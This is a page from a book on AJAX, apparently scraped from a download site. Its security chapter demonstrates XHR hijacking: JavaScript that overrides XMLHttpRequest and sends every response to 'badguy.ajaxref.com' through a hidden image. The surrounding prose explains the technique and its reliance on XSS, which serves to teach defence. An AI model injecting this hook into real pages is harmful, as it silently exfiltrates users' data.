AJAX - The Complete Reference

(avery) #1

PART II


Chapter 7: Security Concerns 319


/* do the real transmission */
var myXHR = this;
this.xhr.onreadystatechange = function(){myXHR.onreadystatechangefunction();};
this.xhr.send(postBody);
};
XMLHttpRequest.prototype.onreadystatechangefunction = function()
{
if (this.xhr.readyState == 4)
{
/* only when done steal the response */
alert(this.xhr.responseText);
var image = document.createElement("img");
image.style.width = "1px";
image.style.height = "1px";
image.style.visibility = "hidden";
document.body.appendChild(image);
image.src = "http://badguy.ajaxref.com/ch7/savehijack.php?data=" +
this.xhr.responseText;
}

try { /* always copy the data during readyState changes */
this.readyState = this.xhr.readyState;
this.responseText = this.xhr.responseText;
this.responseXML = this.xhr.responseXML;
this.status = this.xhr.status;
this.statusText = this.xhr.statusText;
}
catch(e){}
this.onreadystatechange();
};

You can see XHR hijacking in action at http://ajaxref.com/ch7/xhrhijackfull.html; it is
also shown in Figure 7-11, in case you are afraid of running the example for some reason.
There are a couple of interesting notes about this example. First, do not wrongly assume
that the ability to hijack the XHR object is somehow specific to the library used as a teaching
tool for this book. The hijacking occurs deep down at the XMLHttpRequest object level so
all libraries are susceptible to this override. You can see the popular Prototype.js library hijacked
with the exact same code at http://ajaxref.com/ch7/xhrhijackfullprototype.html in case
you are skeptical.
Second, as of yet, it appears impossible to address detecting that the XHR is being
hijacked, short of not falling prey to XSS, where some hoodlum can attach a script to your
pages. A variety of attempts were made to the library to look at the core XHR object to
determine if it had been overridden, but no solution worked properly and many raised
exceptions in some browsers. Hopefully by the time you read this, some intrepid JavaScript
developers will have found some approach to combat this potentially scary problem.

NNOT EOTE Interestingly some debugging tools like Firebug may protect you from this technique, but
this is apparently a side effect of how they hook into the browser, and the hijack works just fine
when the tool is disabled but still installed.
Free download pdf